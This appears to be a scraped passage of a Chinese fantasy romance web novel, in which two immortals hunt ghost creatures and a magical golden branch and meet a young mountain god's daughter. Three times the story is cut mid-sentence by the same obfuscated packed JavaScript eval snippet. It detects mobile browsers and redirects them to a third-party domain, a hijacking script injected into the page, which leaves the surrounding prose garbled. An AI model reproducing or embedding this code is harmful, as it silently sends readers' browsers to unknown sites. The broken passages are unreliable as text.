他喝完,放下茶杯,盯着时妙原的眼睛问:“你知不知道,你这种行为真的非常非常失礼?” 楼下传来喧闹声,似乎是跑马人之间互相起了冲突。时妙原看着荣观真愣了好久,然后,他突然冲他绽放出了一个灿烂无比的笑容。 “哎哟,我说是谁呢!你不是那个谁吗!”他欣喜地抓住了荣观真的手腕,“是你是那个那个谁,让我想想……你是观真,对吗?阿真?真真?闻音的儿子?你就是小山神对吧!我天呢你现在长这么大了啊……上次咱们见面是什么时候?三千年前?还是两万年前?哎哟!老糊涂了我,记不清了!” 他的嗓门很大,引得旁人纷纷侧目。荣观真皱着眉头说:“我们上次见面是在司山海宴,那已经是一千年前的事情了。在那之后你去了哪里?我一直没见到你,问我娘她也不知道你的下落。” “哎呀——我当时着急回家,忘了跟你们打招呼了,对不起啊阿真。”时妙原嬉皮笑脸地说,“但都过去这么久了,你居然还记得我是谁啊?你心里不会一直记挂着我吧?我好感动哦。” “这有什么难的,你不也还记得我么?”荣观真反问道。 “那荣老爷这话讲的,都不用我专门去记,您的威名都足够如雷贯耳了啊!” 时妙原从腰间抽出一把折扇,像个说书人似地摇头晃脑道:“话说那空相山神护法身具天地祝福,手持度厄神剑,降雨除灾斩灵,雷霆威严万钧,慈悲救苦救难,那叫一个手段了得、有求必应!我这一路上听了好多有关于你的故事,大家都说你神力无边,法力高强,心地善良,还刚正不阿!嗯……和你妈妈很像。” “我和她没有可比性。”荣观真严肃地说,“我只是沾了她的光而已。” “哎呀,长辈夸你你就受着就行了,跟我玩儿谦虚你娘也看不见啊。”时妙原收回扇子,抬手让小厮又送来了一杯普洱。 喝茶的时候,他不动声色地打量起了荣观真。 和上次见面时比起来,荣观真身上发生了许多细微的变化。 他的体格更壮了,个子更高了,长相更成熟了,性格似乎也比之前沉稳了许多。 至少,现在的他已经不会再一言不合就拍案而起,面对那些不着调的胡话,他的反应也远没有从前那么大了。 都说女大十八变,依时妙原看男神仙恐怕也应如是。荣观真坐得很是端正,这让他一下子就起了调戏的心思。一杯热茶下肚,时妙原眯着眼睛对荣观真笑道:说起来,咱们阿真是长得越来越俊俏了。我听说有好些信徒钦慕你的长相,会跑去大涣寺找你求姻缘、成好事,也不知道这好些年过去,咱们小阿真自己有心上人了没有啊?” 荣观真点头道:“有。” 时妙原的笑容僵在了脸上。 他反应了一会儿,然后放下茶杯,啪!地把桌子拍了个震天响。 “可以呀,观真!”他惊喜地喊道,“没想到你小子居然也有情窦初开的一天啊!!!” 众人再度侧目,只见时妙原激动得张牙舞爪,就像自己家孩子出了阁一样兴奋:“那人是谁?做什么工作的?是人是妖,是神是仙?你们怎么认识的?对方性格怎么样!我觉得你肯定会喜欢那种文文静静知书达理跟你举案齐眉相敬如宾的类型……我天,这可太不容易了,我一直以为你就是块木头呢!” 面对这连珠炮似的提问,荣观真不置可否。他从怀里掏出手帕擦干净桌面,又扭头唤来小厮,掏钱加了许多水果点心和瓜子。 时妙原也不和他客气,他抓起一把瓜子,一边磕一边继续追问道:“你快说呀!那到底是个什么样的人啊?我保证不跟你娘透露,真的!我我我,我对那什么太阳发誓!我但凡要是说漏嘴半个字儿,我就立马被雷劈死!” 远处当真传来一阵雷鸣。时妙原听见了,吐吐舌头讨好地笑道:“那要是她自己发现了,我可就不能保证了啊,嘿嘿。” 荣观真看了他一眼。那对褐色的眸子里没有特别多情绪。就在时妙原以为他要把这事儿就此糊弄过去之后,他慢条斯理地说:“那是个很吵的人。” “哎?很吵?”这个答案完全在时妙原的意料之外,“很吵是什么意思,那是个碎嘴子?” “是个鸟妖。”荣观真开始剥橘子,“叽叽喳喳,吵吵嚷嚷的,我说一句他能顶二十句,不仅得理不饶人,没理也不饶人。” “哦,哦,鸟妖啊。”时妙原点了点头。 他沉默片刻,又问:“那是什么种类的……” “喜鹊。” 荣观真居然笑了。他把剥好的橘子放到时妙原手心,然后从布袋中抽出三度厄和无弗渡,一点一点慢条斯理地擦拭了起来: “一定要说的话,是只有点像喜鹊的鸟。长相没什么特别的,羽毛倒是很黑,尾巴长长的,变成人形很可爱,除了话实在太多以外没什么缺点。” 时妙原陷入了沉思。 他迟疑地问:“你说的喜鹊……不会是香界宫里那只吧?” “也有可能不是喜鹊呢。”荣观真轻声道。 这句话声音很小,故而时妙原并没有听见。他嘴里塞着橘子放空了有好半天,才如梦初醒道:“哦,那观真啊,你不去陪你的小情儿,怎么想起来跑到这儿来看车马来了?金云粮道离蕴轮谷可有上千里的距离,是有什么要紧的事情能让你亲自跑一趟啊?” “我娘要我来办事。”荣观真快速擦好佩剑,将它们一一收了回去。“这周边近日以来据传有鬼魈出没,已经有不少村庄受到了袭击。有信徒告到殿上请求她惩处鬼魈,但她一时分不出神,就让我先过来看看。” “哟!这不就巧了吗,我也是受闻音委托来的。”时妙原咕咚咽下了橘子,“我来这儿替她找样东西,她当时说会有人来帮我,我还在想是哪路神仙呢,原来是把亲儿子派给我来使唤了呀!” “她要你找什么?” “金顶枝。你听说过吗?” 荣观真眉头一皱:“没有。” “哦,这可是个好东西啊。”时妙原神秘兮兮地说,“我跟你讲,这东西长在西南边陲地带,由西南雪山之水浇灌而成,是克喀明珠山神特有的法器。据传金顶枝有一种十分特别的功 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16218787|180435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 效:它可复现人心中所想,编织真实不虚境界。境界中人一颦一笑皆一如往常,就算是已经不在的人,它也能如实复现对方的一举一动。” 他说着,往嘴里抛了一整把瓜子:“我曾经听说有人死了老婆,思念过度,便想方设法拿到了金顶枝与之团聚。与死者重聚,互诉衷肠,不仅能对话、拥抱,还可以……这听起来真的很诱人,对吧?” “那他后来是怎么死的呢?”荣观真问。 时妙原惊奇地说:“你还挺上道啊,知道这东西不让你白快活。” “天上不能掉馅饼,人死不能复生的道理不用你告诉我。”荣观真淡淡地问,“你说的那个人,他最后如何了呢?” “疯了。” “疯了?是因为一直沉迷虚境,无法面对现实了吗?” “不,是因为金顶枝的作用其实并不是造境,而是‘移转’。” “移转?” “是的。人生在世,酸甜苦辣咸各分均等。走大运者一帆风顺,背时过气则晦气连连。然而福德果报都是命中注定,即便是帝王将相也不可能路路皆通。你在这儿得到了什么……” 时妙原从果盘里挑出一枚瓜子,将它从桌左边移到了最右边。 “就得在另一处失去什么。” 啪嗒。瓜子掉到了地上。 他拍拍手道:“简单来说,人一旦脱离金顶枝境,这期间你所逃避的痛苦折磨和悲伤,就会在一瞬间卷土重来。同样的痛苦,给你十年时间去慢慢消化接受,和当下就让你囫囵咽吧下去,哪个刺激更大应该不用我多说了吧?我说的那个人后来偶然间丢失了金顶枝,在那之后,他就因为承受不住积压的痛苦,在家中自刎身亡了。” “……听起来完全是个邪物。” 时妙原微微一笑:“谁知道邪的是它,还是那些求而不得反要再求的人呢?不过放任金顶枝流落人间确实不太安全,所以你娘才专门委托我来把它给寻回来。她答应过我,只要能找到它,就分几片点叶子给我。” “你想要金顶枝吗?”荣观真狐疑地问,“你想见谁?” “我?我谁也不想见。我想要它纯粹是因为我听说它很好看。”时妙原颇无所谓地说,“我想把它穿在身上,嘿嘿。” “你好像喜欢这类亮晶晶的东西。” “是的呀!只要是会发光的,金子也好,宝石也罢,甭管是太阳还是月亮,就算是蜡烛我也想带走。我喜欢漂亮的东西,发光的东西,物件是这样,人也是一样。” 说着,时妙原站起来伸了个大大的懒腰:“总之依我看,你娘要我俩一起来,那就说明我们想要的东西都在这里。既然如此,咱们不如就一起行动呗?我要去的地方叫金云村,离这儿还有五十里地,你呢?” “一起走吧,我也要去那里。”荣观真开始收拾随身物件,“咱们得抓紧些,再晚鬼魈估计要把村里人都吃光了。” “走走走一起来!东西都没落下吧?哦!把瓜子也都带上!” 事不宜迟,他们迅速收整好物品离开了驿站。天色将晚,粮道上还有不少趁天光赶路的跑马人,荣观真唤出白马让时妙原坐上去,他牵着马混入商队走了头十里路,在一处缓坡拐了下去。 坡上不适宜走马,荣观真便把白马遣走,和时妙原互相搀扶着涉过深草徒步而行。等到他们终于走到河边上的时候,远处的村落已经升起了星星点点的篝火。 时妙原站在湖边,深深地吸了一口气。 他拍拍荣观真的后背,热络且亲昵地问:“你也发现了,对吧?” “嗯。” 荣观真目不斜视地应道:“有人在跟着我们,从在驿站的时候就开始了。” 55.金顶致知(二) “嘘。”时妙原竖起了一根食指,“别说话。” 紧接着,他以迅雷不及掩耳之势拦腰抱住了荣观真。 “你?!”荣观真登时大骇不已,“你,你干什么这是!” “阿真,人家好想好想你哦!” 时妙原也不管荣观真有多惊恐,便冲他嗲声嗲气地撒娇道:“我感觉我已经好久好久没见到你了,你这些年都做什么去了呀?你娘总是不让你出门,她是不是发现我们两个的事情了?我不就是年纪比你大了点儿吗,你这次回去能不能劝她通融一下呀?我真的想死你了——你快抱抱我,你赶紧抱一抱我呀阿真!这次以后,咱们再也不要分开了好不好?” 他一边撒娇,一边不断往荣观真怀里拱。荣观真浑身硬得像是石头,两只手摆来摆去不知道该放在那里,过了半分多钟他反应过来,鼓起勇气紧紧地搂住了时妙原。 “我也想你。”他说。 “在你背后,树下草丛,一个人,带了武器。”时妙原低声说道,“身上似乎有点功夫,贸然上去恐怕不占上风。那是你的仇家吗?你最近可惹了什么人?” “没印象,会不会是冲着你来的?” “我那么可爱怎么可能会被讨厌。” “……那我就不知道了!反正我察觉不到灵力波动。”荣观真将手搭到了腰间的两把剑上,“要直接上吗?二打一,我觉得胜算有九成。” 时妙原捏了捏荣观真的手掌:““别急,我来处理。头低下来些,你吃什么长大的咋能这么高?再低一点……不要让我踮脚!” 荣观真乖乖照做。 时妙原揽住他的脖子,凑到他耳边低声道: “吹灯。” 风云忽止,月光瞬灭。 湖水陷入停滞,老树的阴影被定格在了原地。 一只夜枭飞上高空,时妙原示意荣观真弯腰潜入深草。 借助草丛掩护,他们飞快地绕到了树后:那里果然有人。对方黑衣黑发,光看背影年龄应该不大,他的腰间别着把短刀,时妙原稍作探查,感到了一股说不上来的诡异。 他与荣观真对视一眼,用气音道: 动手。 荣观真从腰间抽出三度厄,稍稍调整角度好用剑柄砸了下去——破布条在空中划出凌厉的弧线,就在此时那人的背影忽然一抖,然后,他维持着背对姿势,整颗头就这么扭转了过来! “什么鬼东西!!!” 时妙原尖叫一声,嗖嗖嗖从袖管中甩出了无数锋利至极的刚羽,那人反手抽出佩刀向上一挡——当当当当!金石交接之音直刺耳膜,羽毛们纷纷被灵压打成了齑粉。就在这一瞬间时妙原突然意识到:这人并非毫无灵力,也不是特意收敛了气息,从刚才一直到现在,他们恐怕一直都处在对方的领域范围内! 在这种情况下吹灯,这不是摆明了让人看笑话吗! 荣观真也发现了这一点。他左手掐诀施法,右手果断蓄力将剑横挥出去,却不料对方借势踩上三度厄,双手握刀用力地劈了下来。 他当机立断抱住时妙原滚向一边,期间时妙原又甩出数枚飞羽,未曾想竟都被那人尽数格挡。气急之下时妙原直接夺过三度厄,解掉布条亮出剑身,想也不想就向对方的心口刺去。就在此时荣观真从地上爬起来抱住了他:“别用三度厄!” “什么?!”时妙原感到不可理喻,“不给用三度厄?那你带过来干啥!” “三度厄能用的机会有限,而且他被碰到了绝对会死的!!” “这时候你倒跟我讲起道德来了!”时妙原气得头顶直冒烟,“那另一把呢!用你的另一把剑!” “这个……这个是无弗渡!我刚造出来没多久还有点不太会用!” “我草了!敢情你带了这么多武器出来都是当挂件的吗?!” 两人僵持之际,对方直冲过来抓住了时妙原的手腕,他见状反手从砸出一团火球:“你爷爷个蛋的,竟然敢摸老子!摸我是要给钱的你知不知道!” 轰!金火擦着那人的脸颊飞过,短暂地照亮了他耳旁密密麻麻的细羽。 时妙原先是一惊,然后他气笑出声道:“好啊!我当是什么阴间东西呢,原来是只大半夜不睡觉死出来跟踪人的猫头鹰!” 与此同时,对方也看清了他的长相:“怎么是你?” 这人开口瞬间,时妙原的笑容凝滞了片刻。 这是个女孩儿。 他正要再轰火球,荣观真一把夺回三度厄,踉踉跄跄地冲到了那人面前:“小霞!你这是在干什么!” “不是!你们居然认识吗?”时妙原震惊地问。 “她是施浴霞啊!你忘了吗?东越山山神的女儿!” 施浴霞?千年前的回忆涌上时妙原心头:他好像的确在司山海宴上见过她!可那时候的施浴霞还是个见了人就往爸爸身后躲的小不点,现在居然也修炼到这种地步了吗? 月亮从云后探出脑袋,这样一来时妙原终于看清了施浴霞的长相。 她生得瘦削单薄,短发干练,不论是眼珠和头发都黑得吓人,她手里握着一把短刀,在月色下反射出了一阵清冷的辉光。那上面写着两个小字:万霞。 方才那样激烈的打斗,施浴霞脸上甚至连汗都没有出几滴。她盯着时妙原后退几步,扶住自己的下巴,把头慢慢地拧了回去。 然后她收刀转身,对两人行礼道:“见过空相山神护法,见过……见过金乌大人。” “见过见过,我你就不用拜了。”荣观真摆手道,“小霞,你快告诉我,你是怎么跑到这里来的?是谁要你来的,你为什么要跟踪我们?从东越山到这儿可一点也不近,你父亲知道你出来了吗?” 一听说是荣观真的熟人,时妙原的态度立马缓和了许多。他拍拍身上的尘土和碎草,也凑到施浴霞跟前问道:“说话呀!大人问话你光瞪眼干什么?这儿离你家有十万八千里远,你就算是来串门的也没有上来就打主人的道理吧!” 施浴霞嘀咕道:“明明是你俩一上来就打我的。” “……”时妙原自知理亏,立刻咳嗽两声转移了话题:“那什么,刚才那都是意外!那个小霞啊,我问你,你也是来杀鬼魈的吗?” 施浴霞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16229167|180435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摇头。 荣观真问:“那你是来找金顶枝的?” 她闭口不言。 “不为除害不为寻宝,你这是……” 施浴霞抿紧了嘴唇。她攥着短刀憋了老半天气,才鼓足勇气问荣观真道:“不是说这里有信徒请山神吗,闻音娘娘为什么没有来?” “啊……啊?你问她?”荣观真完全没料到会在这种情况下听说母亲的名字,“她那个……她这段时间一直在大涣寺闭关,抽不开身。所以这次就由我来处理事情。” 施浴霞干巴巴地“哦”了一声。 过半晌她又问:“闭关是要多久?三五年?百十年?娘娘是受伤了还是在洞里修炼,你知道她要什么时候才会出来吗?” 荣观真露出了为难的表情:“这个的话,我也给不出什么准信……” 时妙原用胳膊肘拐了荣观真一下:“哎阿真,这孩子好像是冲着你娘来的啊。她不会跟你有血缘关系吧?这张口娘娘长闭口娘娘短的,她难道是闻音的私生女吗?” “你别瞎讲话行吗?她家里人我都认识的!”荣观真没忍住臭骂道。 时妙原吐吐舌头,不敢再说什么了。不过他的眼睛还是在滴溜溜的转,看就知道一刻都没有停下过坏脑筋。 熟人相见,非但没有寒暄反而先干了一架,这使得气氛不免有点尴尬。荣观真将三度厄缠好放回腰间,又收拾了一下刚才受到波及的花草,确认没有任何小动物受到伤害之后,他接着问施浴霞:“我这次来是要去金云村解决鬼魈作乱问题,正好你也在,要一起去看看吗?” 施浴霞立刻回绝:“不了吧,既然有你们在,我也不好再多插手了。而且我出门也没和家里人说,现在得赶紧回去浇花。” 时妙原摇着扇子说:“是闻音娘娘派我们来的哦。” 施浴霞脸色一变。 “闻音娘娘心系金云村众,我们来之前她曾千叮咛万嘱咐过一定要把事情彻底解决了再回去。哎呀,只是我和你小荣叔叔修为有限,力难敌众,光凭我俩不一定能捉得住那许多鬼魈……真是头疼!如果不能把它们全部拿下的话,等之后回了蕴轮谷我可要怎么向她当!面!交差呀!” “进金云村得坐船渡木澜江,我知道要从哪条水路走!”施浴霞立马飞蹿到了河边,她远远地冲荣观真和时妙原挥手道:“这里就有一艘船,我已经用过好几次了!我可以带路,你们快跟我来就是了!” 荣观真震惊地望向了时妙原,后者以扇掩面,对他眯眼笑道:“没见识过吧?我这招叫瞌睡送枕头。” 等到他们走到湖边的时候,施浴霞已经做好了出船的准备。她看起来兴奋得要命,黑漆漆的眼睛里也满是光彩,时妙原与荣观真刚一并排坐下,她就迫不及待地划动了船桨。 她一边划船一边介绍道:“我之前去村里了解过情况,那里多为木梭族人,他们以走婚为俗,主张男不娶女不嫁,生下来的孩子全由母家抚养。村里人告诉我,那些鬼魈每逢有情人相会便会出现作乱,这段时间一直人心惶惶,咱们现在过去,绝对能把它们全部杀光光送给闻音娘娘当礼物!” 56.金顶致知(三) 月明星稀,江水无波。木澜江两岸火光点点,那些都是木梭族住民的聚落地。小舟如风驰电掣般向前驶去,掌舵人自然是一脸志在必得的施浴霞。 周围的景色飞速后退,这船甚至不到二十尺,愣是被她划出了天子九驾御马亲征的气势。时妙原与荣观真端坐在她对面,就好像被私塾先生训话的学生般,一动也不敢动。 从上船到现在才过去不到半刻钟,时妙原就感觉好像经历了一辈子那么漫长,有好几回他提议想放慢些速度,都遭到了施浴霞的无情拒绝。他又想要变出翅膀自己飞去金云村,被她竖起眉头一瞪,也就连半句也不敢再提了。 施浴霞不仅船划得快,甚至还有余裕为他们介绍沿岸的风土人情。她指着岸边一处小型的聚落道:“木梭族人以渔猎为生,他们世代生活于木澜江沿岸,自有记载以来便一直行走婚制。木梭族青年男女婚恋自由,若是产生了好感便会于夜间在花楼中相会,生下来的孩子都是由母家共同抚养,至于父亲则并不参与其中。” “那,那这其实还挺合情理的哈哈!”时妙原缩在荣观真怀里哆哆嗦嗦地说,“反正生孩子这事儿,和爹也没太大关系不是?哎阿真,这个只认妈不认爸的情况,和你们空相山是不是还挺像啊?如果我没记错的话,你和你弟弟都是闻音她自个儿……哎哟姑奶奶你慢点儿划!我两百年前吃的饭都要给你摇出来了!” 荣观真的表情虽然镇定,但他额头密密麻麻的冷汗还是暴露了他的内心。他紧贴着时妙原说道:“确,确实,我在来之前就听说过这边的习俗,我家也确实就像你说的这样,我和承光都是由我娘引灵而造的,我没有爹。” “哟,那我可不一样。”施浴霞咧嘴笑道,“我是只有爹。不过他说我是自个儿从石头缝里蹦出来的,都没让他费什么心思。” “怎么的,大伙都还挺巧啊哈哈!我是爹娘都没有,但兄弟姐妹都比你们多啊啊啊啊啊啊!” 一个浪头打来,木船差点整个侧翻过去。施浴霞把住船撸,气势昂扬朝浪最高处开将了过去。时妙原像只刚被捞上岸的水猴子一般扒在荣观真身上,他边嗷嗷叫悲泣道:“小霞!小霞啊!咱究竟还有多久能到地方啊?!不是叔催你,我是真的不太喜欢水!!!” “快了快了,还有两炷香时间!你要是着急的话,那我就再划快点儿?”施浴霞气势如虹地问。 “别!千万别!就这样很好了,千万别再加速了!”时妙原吓得赶紧转移话题,“那那那,那小霞,不对,施奶奶!令尊现在是仍在东越山行宫坐镇么?你说你出来没和家里人报备,他是不是应该挺挂念你的啊!” 施浴霞愣了一下。 然后,她迅速地低下了头。 “我爹他……他已经不在人间了。”她抓默默攥紧了船桨,“他到下面去了,你要问我的话,我也已经有好几百年没见过他了。” “下下下下下下面?”纵使伶牙俐齿如时妙原,面对这种情况也不免有些束手无措。他结结巴巴地说:“对不起啊施奶奶!我,我不知道你家出了这种事。那,那你请节哀……?” 施浴霞不语,只是一味地划船。荣观真欲言又止,却不料船速再度升级,他终究是招架不住,也面色铁青地和时妙原抱成了一团。 不到半柱香后,他们顺利地抵达了金云村。 双脚再度踏上大地瞬间,时妙原感动得几乎当场以头抢地。他抱着江边的小树干嚎了好久,才被恨铁不成钢的荣观真拖着离开了这里。 天色已晚,金云村内部却是一派灯火通明之景。竹制的吊脚楼风格独特,每家每户门上都挂着颇具异域情调的扎染帘布与挂画。 此地位处空相山最西域,不论是地貌特征还是风土人情,都与中东部地区有很大差别。时妙原一路上边走边四处探头探脑,他瞧荣观真的表情也很新鲜,便料想他大概也是头一回来到这里。 比起他们两个,施浴霞就显得要轻车熟路许多了。她像个老向导似地带他们行走在村落间,不一会儿,时妙原听见了一阵欢快的歌声。 他跑上前去一看:原来是村民们正围坐在篝火旁跳舞。 “阿姐!是阿姐来了!” 有小姑娘看见施浴霞,欢呼着冲她跑了过来。她这一嚎,其他女孩也叽叽喳喳地围到了施浴霞身边,她们围着她又唱又跳,还时不时讲几句土话,看样子彼此之间的关系十分熟络。 施浴霞一边应付姑娘们,一边对荣观真和时妙原说:“这些都是我在这儿认识的朋友!你们先自个待会儿,等下阿思奶奶会来和我们聊聊。” 篝火烧得旺盛,时妙原和荣观真找了个僻静的角落坐了下来。他们身边大多是年轻的女子,她们有些在编织竹篓,有些则忙着往火堆里烤红薯山楂和鲜果,果子们被烧得滋滋冒油,时不时便喷出诱人的香气。 时妙原指着那些果子问荣观真:“我等下可不可以吃一点点呀?” 荣观真扭头用土话对姑娘们说了点什么,便被塞了好几只还沾着泥土的生地瓜。 他示意时妙原坐到稍远些的地方:“你让开点,我来烤,别给你毛燎着了。” 时妙原乖乖地往后挪了几屁股。他眼巴巴地望着地瓜,身上的首饰被火焰映衬得晶光闪闪,乖巧得浑像只刚从金粉堆里滚过几圈的小猫。 等待夜宵的过程中,时不时就有青年男子向他们所在的地方走来。这些人手里攥着各式各样的金色枝条,其送礼的对象自然是同族的女孩。被搭讪的若是点头了,两个人便会手牵着手离开,至于那些遭到了拒绝的男子,则就只能垂头丧气地回到同伴中间了。 他们手里的金枝引起了荣观真的注意。他问时妙原:“那是你要找的金顶枝吗?” “嗯……当然不是!”时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16233569|180435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妙原眯起眼睛分辨道,“让我看看啊,这个是铜做的,那个是纸打的,哎哟,怎么还有稻谷,真是什么东西都敢往人家手里送啊!哦哦哦,这个带的是真家伙,阿真阿真,你快看那边那两位,真的是男帅女美,好配的一对啊!” 荣观真朝他所指的地方望去,只见一位相貌英俊的青年手拿金枝,羞涩而又紧张地放进了姑娘手里。那女孩生得明艳貌美,她并未接过这份厚礼,而是笑着牵起他的手,加入了绕篝火起舞的人群中间。 有人朝那小伙子调侃道:“依辛!你今晚能进朱姆的花楼吗!” “那得看他的表现了!”朱姆哈哈大笑。 这边,青年们之间的气氛越发火热,时妙原再一看,那头的施浴霞已经被小女孩们围了个水泄不通。只一会儿功夫,她的怀里就多了许多金枝,此外还有各种各样的腊肉土产被源源不断地扔来。 她抱着这些厚礼连连推辞,急得脸都红成了苹果:“不行,不行!哎呀和你们说过了我不行……我不能留在你们这里的……哎!你别扔了就跑啊!” 时妙原见状,觉得有趣,也从地上捡了根小树枝递到荣观真面前:“这个给你。” 荣观真上下打量了他几眼。他并未接过树枝,也没多说些什么。 见他不言语,时妙原往他身边多挪了几寸。他捧着小树枝傻笑道:“我说,这位小哥,你今晚要不要来我的花楼做客嘛?我看你很合眼缘,想和你谈谈朋友交交心,再和你讲点私密的话,也不知道你给不给我这个面子哦。” “不给。” 荣观真夺过树枝,从篝火里扒拉出了几块烤得焦红的地瓜。他一边拨弄地瓜皮,一边头也不抬地对时妙原说:“我劝你别瞎闹,人家本族习俗如此,你个异乡人来凑什么热闹?这枝子我先没收了,以后不要随便乱开这种玩笑。” “你哪里看出我是在开玩笑了?”时妙原嗔怪道,“我对你可是一片真心哇。” “真心?你的真心在哪里?” “我的真心在你。”那鸟嬉皮笑脸地说,“我看你看得欢喜,觉得你这人有趣,正好这里气氛不错,和你说说笑怎么啦。你看那头都成了那么多对了,再加上咱俩也不多不是么?” “和我说笑?”荣观真重复了一遍,“时妙原,我从很久以前就想问你了,你和谁都是这么自来熟,这么爱胡乱说笑的吗?” “那怎么会,我当然只邀请我的至交!”时妙原嚷嚷了起来。 “你的意思是我们是朋友?” “难道你不觉得是?!” “哦?那我明白了。只要是被你认作了朋友,就可以从你这儿得到甜言蜜语么?” 荣观真放下了树枝。他望着时妙原的眼睛,略有些不忿地问:“那你活了这么些年,遇到过那么多人,难道每次遇见合眼缘的朋友,都要和他们开这种情情爱爱的玩笑吗?” 57.金顶致知(四) “你活了这么些年,遇到过那么多人,难道每次认识合眼缘的朋友,你都要和他们开玩笑说喜欢他们吗?”荣观真问。 “不是……”时妙原被噎住了,“我这不跟你开玩笑呢吗?刚才还好好的,你怎么突然就较真起来了啊?不对,你这话是什么意思?!” 他一跃而起,指着荣观真的鼻子怒斥道:“荣观真,你要不要听听你说的这叫什么话?什么喜欢不喜欢,什么玩笑又这那的,朋友怎么了?那也不是谁都能和我交朋友的!我讲话是有点不着调我承认,那我这不是在逗你玩儿么!” 荣观真微笑道:“哟,看不出来,时大人还颇具童心啊。知道的以为你我是忘年交,不知道的还以为你对我有什么别的意思呢。从前你就爱这样信口开河,到现在了你居然也一点都没有变,你到底是生性如此,还是唯独不把我放在眼里?时妙原,我在你心里究竟是什么形象,一个比你小上万岁的孩子,还是随便你怎么胡闹都不会翻脸的旧相识?” “你这还不叫翻脸吗?我看你也没少和我发脾气啊!” 时妙原愤怒地站起身来,坐到了离荣观真有好几米远的地方:“你这人真没意思,我再也不要跟你讲话了!从现在开始你不许出现在我面前,除非让你白马来谢罪!不,白马来了我也不见!” 他们的争吵引起了旁人注意,姑娘们连背篓也不编了,光顾着偷偷议论这对突然翻脸的好友。荣观真被劈头盖脸一顿骂也不恼,而是埋头继续烤起了地瓜。 甜腻的香气在空气中蔓延,时妙原抱着胳膊怒了没几分钟,眼睛就开始时不时往篝火里瞟。 他不动声色地咽了口唾沫。 过了约半柱香的时间,荣观真从火堆中拨出烤好的地瓜,把它们拾掇干净剥开分块,一一送回给了之前给他们东西的村民。 分完食物之后他回过头去,对眼睛瞪得比鸟蛋还大的时妙原问道:“你眼睛里进沙子了?为什么一直眨来眨去的。” “……我眼睛里进臭土坨子了!” 时妙原气得扭头就走,被荣观真眼疾手快地拉了回来,他当然不可能乖乖就范,而是像个小孩儿似地拳打脚踢道:“你放开我!” “我不。放开你你不见了我怎么办?” “我不见了关我屁事!不对,关你屁事!”时妙原扯着嗓子嚷嚷道,“荣观真我警告你!我可是你的长辈!我们的关系没有你想得那么亲密!你再不松手我就要打你了,你信不信我之后和你娘告状,到时候我一定让她狠狠抽你的屁……唔?” 时妙原叫得正欢,荣观真冷不丁把一整块烤地瓜塞到了他嘴里。 他眨了眨眼睛。 他嚼了嚼地瓜。 他咕咚一下咽了下去。 “给你烤的,刚才一直在调整火候,现在应该是最好吃的时候。但还是慢点吃,小心烫嘴。拿着。” 荣观真从怀里掏出一块方帕,裹着余下的地瓜塞到了时妙原手中。 烤地瓜的外皮都已被贴心地去除,暴露内里金黄如蜜的瓜肉。时妙原只轻轻吸了吸鼻子,就被差点香了个跟头。 “你,你这是什么意思哦……”他眼巴巴地问。 荣观真说:“我来替白马给我的好朋友谢罪。” “我不需要!” “你的肚子说它要。” 咕——时妙原的肚皮不争气地打起了鸣。他绝望地闭上眼睛,经过一番天然交战之后,他看似极不情愿地从荣观真手中接过了手帕。 眼下时值深秋,山里夜间结了层薄薄的白霜,在这时候吃些热烫的食物简直再适合不过了。他边往嘴里塞地瓜边叽叽咕咕地嘟囔,荣观真在一旁看着也不嫌腻。吃到最后时妙原咬到了一块有点坚硬的东西,他翻开帕子一看,瞬间瞪大了眼睛。 “这,这是……!” 这是一支发簪。一看就是由纯金打造,周身镶嵌了无数玛瑙宝石,即便在夜色中也难掩华彩。 “这是我自己做的。”荣观真状似无意地踢起了脚底的石子,“金子是东阳江里淘的,海阳峰下就有冶金铺子。上面的宝石是空相山特产,你不是最喜欢红玛瑙吗?我专门挑了些成色不错的。” “你……这是给我准备的?为什么?”时妙原震惊地问,“你知道这次我会来?” “不知道,其实早就准备好了,我只是随身带着而已。” 荣观真说着便开始擦拭佩剑,他一边擦一边说:“具体什么时候做好的我已经记不清了,反正我想着等见到你了就给,见不到就继续等。至于你问为什么。上次你在聆辰台说的话给了我一些启发,你就当是我对你的谢礼吧。” 他抬头时妙原说:“戴上试试。” 时妙原举起金簪子比划了两下。他把辫子拆开,分两股挽起,在后脑勺扎了个小小的发包,他把簪子被他插到里面,稍作调整后,他有些紧张地问荣观真:“这样好看吗?” 荣观真点头道:“挺适合你。” “我问你好不好看,你说适合是几个意思?” 荣观真笑了,火光衬得他的笑容温暖又清澈。木梭族的青年们又开始跳舞,乐曲与欢呼声攀到最热烈处时,他望着时妙原的眼睛说:“我觉得很好看。它特别适合你。” “那当然了,你也不看看用它的是谁。” 